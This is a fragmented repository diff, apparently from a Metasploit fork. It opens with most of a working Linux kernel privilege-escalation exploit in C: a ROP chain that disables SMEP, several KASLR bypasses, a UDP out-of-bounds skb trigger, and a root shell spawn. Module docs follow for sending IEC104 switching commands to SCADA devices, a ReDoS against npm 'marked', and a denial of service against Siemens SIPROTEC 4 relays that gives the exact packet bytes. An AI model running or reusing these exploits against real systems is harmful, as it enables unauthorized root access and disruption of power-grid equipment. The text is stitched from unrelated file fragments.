*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define SMEP_MASK 0x100000
#define CHAIN_DISABLE_SMEP \
*stack++ = MOV_RAX_CR4_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = POP_RCX_RET; \
*stack++ = SMEP_MASK; \
*stack++ = OR_RAX_RCX_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = XCHG_EAX_EDI_RET; \
*stack++ = MOV_CR4_RDI_RET;
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX;
void mmap_stack() {
uint64_t stack_aligned, stack_addr;
int page_size, stack_size, stack_offset;
uint64_t* stack;
page_size = getpagesize();
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
stack_addr = stack_aligned - page_size * 4;
stack_size = page_size * 8;
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
dprintf("[-] mmap()\n");
exit(EXIT_FAILURE);
}
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
CHAIN_SAVE_ESP;
CHAIN_DISABLE_SMEP;
CHAIN_JMP_PAYLOAD;
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, unsigned long func) {
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
memset(ssi, 0, sizeof(*ssi));
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = func;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define SHINFO_OFFSET 3164
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
dprintf("[-] socket()\n");
exit(EXIT_FAILURE);
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr))) {
dprintf("[-] connect()\n");
exit(EXIT_FAILURE);
}
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
if (rv != size) {
dprintf("[-] send()\n");
exit(EXIT_FAILURE);
}
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
if (rv != 0) {
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
exit(EXIT_FAILURE);
}
send(s, buffer, 1, 0);
close(s);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define LSB_RELEASE_LENGTH 1024
void get_distro_codename(char* output, int max_length) {
char buffer[LSB_RELEASE_LENGTH];
char* path = "/etc/lsb-release";
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s)\n", path);
exit(EXIT_FAILURE);
}
const char *needle = "DISTRIB_CODENAME=";
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
exit(EXIT_FAILURE);
}
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= max_length) {
exit(EXIT_FAILURE);
}
if ((found - &buffer[0]) + needle_length + i >= length) {
exit(EXIT_FAILURE);
}
output[i] = found[needle_length + i];
}
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname()\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define DISTRO_CODENAME_LENGTH 32
void detect_kernel() {
char codename[DISTRO_CODENAME_LENGTH];
struct utsname u;
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "14.04.1")) {
strcpy(&codename[0], "trusty");
} else if (strstr(u.version, "16.04.1")) {
strcpy(&codename[0], "xenial");
} else {
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
// Linux Mint kernel release mappings
if (!strcmp(&codename[0], "qiana"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rebecca"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rafaela"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rosa"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "sarah"))
strcpy(&codename[0], "xenial");
if (!strcmp(&codename[0], "serena"))
strcpy(&codename[0], "xenial");
if (!strcmp(&codename[0], "sonya"))
strcpy(&codename[0], "xenial");
}
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
strcmp(u.release, kernels[i].version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
kernel = i;
return;
}
}
dprintf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s)\n", path);
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
if (rv >= 2) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
#if !ENABLE_SMEP_BYPASS
if (rv >= 1) {
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
exit(EXIT_FAILURE);
}
#endif
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
bool mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return false;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return false;
}
return true;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) return 0;
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) return 0;
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
return 0;
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
return 0;
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (!mmap_syslog(&syslog, &size))
return 0;
if (strcmp("trusty", kernels[kernel].distro) == 0)
addr = get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0)
addr = get_kernel_addr_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap()\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore()\n");
return 0;
}
int n;
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > 0xffffffff00000000) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
addr = get_kernel_addr_sysmap();
if (addr) return addr;
addr = get_kernel_addr_syslog();
if (addr) return addr;
addr = get_kernel_addr_mincore();
if (addr) return addr;
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[!] unprivileged user namespaces are not available\n");
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
dprintf("[-] write_file(/proc/self/set_groups)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
dprintf("[-] write_file(/proc/self/uid_map)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
dprintf("[-] write_file(/proc/self/gid_map)\n");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
dprintf("[-] sched_setaffinity()\n");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
dprintf("[-] system(/sbin/ifconfig lo up)\n");
exit(EXIT_FAILURE);
}
}
void exec_shell() {
int fd;
fd = open("/proc/1/ns/net", O_RDONLY);
if (fd == -1) {
dprintf("error opening /proc/1/ns/net\n");
exit(EXIT_FAILURE);
}
if (setns(fd, CLONE_NEWNET) == -1) {
dprintf("error calling setns\n");
exit(EXIT_FAILURE);
}
system(SHELL);
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
dprintf("[.] checking if we got root\n");
if (!is_root()) {
dprintf("[-] something went wrong =(\n");
return;
}
dprintf("[+] got r00t ^_^\n");
exec_shell();
}
int main(int argc, char** argv) {
if (argc > 1) SHELL = argv[1];
dprintf("[.] starting\n");
dprintf("[.] checking kernel version\n");
detect_kernel();
dprintf("[~] done, version looks good\n");
dprintf("[.] checking SMEP and SMAP\n");
check_smep_smap();
dprintf("[~] done, looks good\n");
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
#endif
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
unsigned long payload = (unsigned long)&get_root;
#if ENABLE_SMEP_BYPASS
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
mmap_stack();
payload = XCHG_EAX_ESP_RET;
dprintf("[~] done, fake stack mmapped\n");
#endif
dprintf("[.] executing payload %lx\n", payload);
oob_execute(payload);
dprintf("[~] done, should be root now\n");
check_root();
return 0;
}
Binary file not shown.
Binary file not shown.
View File
View File
View File
View File
View File
View File
View File
View File
Executable → Regular
View File
View File
View File
Executable → Regular
View File
View File
View File
View File
Executable → Regular
+1
View File
@@ -86241,6 +86241,7 @@ wharves
what
whatchamacallit
whatever
whatevers2009
whatley
whatnot
whatshername
View File
View File
View File
Executable → Regular
View File
Executable → Regular
View File
View File
Executable → Regular
View File
Executable → Regular
View File
View File
Executable → Regular
View File
View File
Executable → Regular
View File
View File
View File
View File
View File
Executable → Regular
View File
Executable → Regular
View File
View File
View File
@@ -0,0 +1,120 @@
# IEC104 Client for Metasploit
## Definition
IEC 60870 part 5 is one of the IEC 60870 set of standards which define systems used for telecontrol (supervisory control and data acquisition) in electrical engineering and power system automation applications. Part 5 provides a communication profile for sending basic telecontrol messages between two systems, which uses permanent directly connected data circuits between the systems. The IEC Technical Committee 57 (Working Group 03) have developed a protocol standard for telecontrol, teleprotection, and associated telecommunications for electric power systems. The result of this work is IEC 60870-5. Five documents specify the base IEC 60870-5:
IEC 60870-5-104 (IEC 104) protocol is an extension of IEC 101 protocol with the changes in transport, network, link & physical layer services to suit the complete network access. The standard uses an open TCP/IP interface to network to have connectivity to the LAN (Local Area Network) and routers with different facility (ISDN, X.25, Frame relay etc.) can be used to connect to the WAN (Wide Area Network). Application layer of IEC 104 is preserved same as that of IEC 101 with some of the data types and facilities not used. There are two separate link layers defined in the standard, which is suitable for data transfer over Ethernet & serial line (PPP - Point-to-Point Protocol). The control field data of IEC104 contains various types of mechanisms for effective handling of network data synchronization.
## Install
Create a new folder for the IEC104 module, place script in new folder
```
mkdir -p $HOME/.msf4/modules/auxiliary/client/iec104
cp iec104.rb $HOME/.msf4/modules/auxiliary/client/iec104/
```
## Usage
### Selection of module in msfconsole
```
msf > use auxiliary/client/iec104/iec104
```
### Show module options
```
msf auxiliary(client/iec104/iec104) > show options
Module options (auxiliary/client/iec104/iec104):
Name Current Setting Required Description
---- --------------- -------- -----------
ASDU_ADDRESS 1 yes Common Address of ASDU
COMMAND_ADDRESS 0 yes Command Address / IOA Address
COMMAND_TYPE 100 yes Command Type
COMMAND_VALUE 20 yes Command Value
ORIGINATOR_ADDRESS 0 yes Originator Address
RHOST yes The target address
RPORT 2404 yes The target port (TCP)
Auxiliary action:
Name Description
---- -----------
SEND_COMMAND Send command to device
```
### Usage Examples
Example of sending IEC104 general interrogation command
This is using thde default setting for command type, address and value, this is connecting to an local IEC104 server simulator for demo purposes
```
msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
[*] 127.0.0.1:2404 - Sending 104 command
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
[+] 127.0.0.1:2404 - CauseTx: 07 (Activation Confirmation)
[+] 127.0.0.1:2404 - Parsing response: Single point information (M_SP_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0002
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
[+] 127.0.0.1:2404 - IOA: 1 SIQ: 0x00
[+] 127.0.0.1:2404 - IOA: 2 SIQ: 0x00
[+] 127.0.0.1:2404 - IOA: 3 SIQ: 0x01
[+] 127.0.0.1:2404 - IOA: 4 SIQ: 0x00
[+] 127.0.0.1:2404 - Parsing response: Single point information (M_SP_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0004
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
[+] 127.0.0.1:2404 - IOA: 7 SIQ: 0x00
[+] 127.0.0.1:2404 - Parsing response: Double point information (M_DP_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0006
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
[+] 127.0.0.1:2404 - IOA: 6 SIQ: 0x02
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0008
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
[*] 127.0.0.1:2404 - operation ended
[*] 127.0.0.1:2404 - Terminating Connection
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
[*] Auxiliary module execution completed
msf auxiliary(client/iec104/iec104) >
```
Example sending switching command
IOA address to be switched is "5", the command type is a double command "46", command is for switching off without time value "5"
Using local IEC 104 server simulator
```
msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf auxiliary(client/iec104/iec104) > set command_address 5
command_address => 5
msf auxiliary(client/iec104/iec104) > set command_type 46
command_type => 46
msf auxiliary(client/iec104/iec104) > set command_value 5
command_value => 5
msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
[*] 127.0.0.1:2404 - Sending 104 command
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
[+] 127.0.0.1:2404 - CauseTx: 07 (Activation Confirmation)
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
[+] 127.0.0.1:2404 - Parsing response: Single point information with time (M_SP_TB_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0002
[+] 127.0.0.1:2404 - CauseTx: 03 (Spontaneous)
[+] 127.0.0.1:2404 - IOA: 3 SIQ: 0x00
[+] 127.0.0.1:2404 - Timestamp: 2018-03-30 21:39:52.930
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0004
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
[*] 127.0.0.1:2404 - operation ended
[*] 127.0.0.1:2404 - Terminating Connection
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
[*] Auxiliary module execution completed
msf auxiliary(client/iec104/iec104) >
```
@@ -0,0 +1,84 @@
## Vulnerable Application
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
in the npm module `marked`. The vulnerable regex is in the "heading" processing.
Versions before 0.3.19 are vulnerable.
Any application that uses a vulnerable version of this module and passes untrusted input
to the module will be vulnerable.
## How to Install
To install a vulnerable version of `marked`, run:
```
npm i marked@0.3.19
```
## Verification Steps
Example steps in this format (is also in the PR):
1. Create a new directory for test application.
2. Copy below example server into test application directory as `server.js`.
3. Run `npm i express` to install express in the test application directory.
4. To test vulnerable versions of the module, run `npm i marked@0.3.19` to install a vulnerable version of marked.
5. To test non-vulnerable versions of the module, run `npm i marked` to install the latest version of marked.
6. Once all dependencies are installed, run the server with `node server.js`.
7. Open up a new terminal.
8. Start msfconsole.
9. `use auxiliary/dos/http/marked_redos`.
10. `set RHOST [IP]`.
11. `set HTTP_METHOD get` (optional)
12. `set HTTP_PARAMETER foo` (required)
13. `set TARGETURI /path/to/vulnerable/route` (optional)
14. `run`.
15. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
16. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
## Scenarios
### marked npm module version 0.3.19
Expected output for successful exploitation:
```
[*] Testing Service to make sure it is working.
[*] Test request successful, attempting to send payload
[*] Sending ReDoS request to 192.168.3.24:3000.
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
[*] Testing for service unresponsiveness.
[+] Service not responding.
[*] Auxiliary module execution completed
```
### Example Vulnerable Application
```
// npm i express body-parser
// npm i marked@0.3.19 (vulnerable)
// npm i marked (non-vulnerable)
const marked = require('marked');
const express = require('express');
const bodyParser = require('body-parser');
var app = express();
app.use(bodyParser.text({ type: 'text/html' }));
// create application/json parser
const jsonParser = bodyParser.json();
// create application/x-www-form-urlencoded parser
const urlencodedParser = bodyParser.urlencoded({ extended: false });
app.get("/", urlencodedParser, function(req, res) {
var result = req.query.foo ? marked(req.query.foo) : 'nothing';
res.end(result);
});
app.post("/cat", urlencodedParser, function(req, res) {
var result = req.body.bar ? marked(req.body.bar) : 'nothing'
res.end(result);
});
app.listen(3000, '0.0.0.0', function() { console.log('Application listening on port 3000 on all interfaces!'); });
```
@@ -0,0 +1,74 @@
## Description
This module sends a specially crafted packet to Port 50000/UDP could cause a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) device. A manual reboot is required to return the device to service.
## Vulnerable Application
Since this exploit hits the embedded software of a SCADA component, there is no vulnerable application for download on the web.
You may check the vendor's website for additional information. (http://w3.siemens.com/smartgrid/global/en/products-systems-solutions/downloads/Pages/SIPROTEC-4-Downloads.aspx)
You may also check the demo video: (https://drive.google.com/open?id=176ZC7nLJyJHGHPB3LbRxvLgArE9kOjPz)
## Verification Steps
- [ ] Start ```msfconsole```
- [ ] ```use auxiliary/dos/scada/siemens_siprotec4```
- [ ] Set ```RHOST <TARGET>```, replacing ```<TARGET>``` with the IP address you wish to attack.
- [ ] ```run```
- [ ] Verify that you see ```[*] Sending DoS packet ...```
- [ ] Verify that you see ```[*] Auxiliary module execution completed```
- [ ] Verify that the exploit sends a specially crafted packet which contains ```11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E```
Document: (https://github.com/can/CVE-2015-5374-DoS-PoC/blob/master/README.md)
Metasploit Module is written based on this exploit: (https://www.exploit-db.com/exploits/44103/)
## Options
```set RHOST <TARGET_IP>```, ```set RPORT <TARGET_PORT> (Default 50000)```.
## Scenarios
```
msf auxiliary(siemens_siprotec4) > info
Name: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module Denial of Service
Module: auxiliary/dos/scada/siemens_siprotec4
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
M. Can Kurnaz
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 50000 yes The target port (UDP)
Description:
This module sends a specially crafted packet to port 50000/UDP
causing a denial of service of the affected (Siemens SIPROTEC 4 and
SIPROTEC Compact < V4.25) devices. A manual reboot is required to return the
device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8
have been assigned to this vulnerability.
References:
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
https://www.exploit-db.com/exploits/44103/
msf auxiliary(siemens_siprotec4) > show options
Module options (auxiliary/dos/scada/siemens_siprotec4):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 50000 yes The target port (UDP)
msf auxiliary(siemens_siprotec4) > set rhost 192.168.1.61
rhost => 192.168.1.61
msf auxiliary(siemens_siprotec4) > run
[*] Sending DoS packet ...
[*] Auxiliary module execution completed
msf auxiliary(siemens_siprotec4) >
```
@@ -0,0 +1,62 @@
## Vulnerable Application
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
Netatalk is a Linux implementation of AFP.
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
1. `sudo apt-get install netatalk`
2. edit `/etc/default/netatalk` and add the following lines:
```
ATALKD_RUN=no
PAPD_RUN=no
CNID_METAD_RUN=yes
AFPD_RUN=yes
TIMELORD_RUN=no
A2BOOT_RUN=no
```
3. Restart the service: `sudo /etc/init.d/netatalk restart`
## Verification Steps
1. Install and configure afp (or netatalk in a Linux environment)
2. Start msfconsole
3. Do: `auxiliary/scanner/afp/afp_server_info`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
```
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/afp/afp_server_info) > run
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
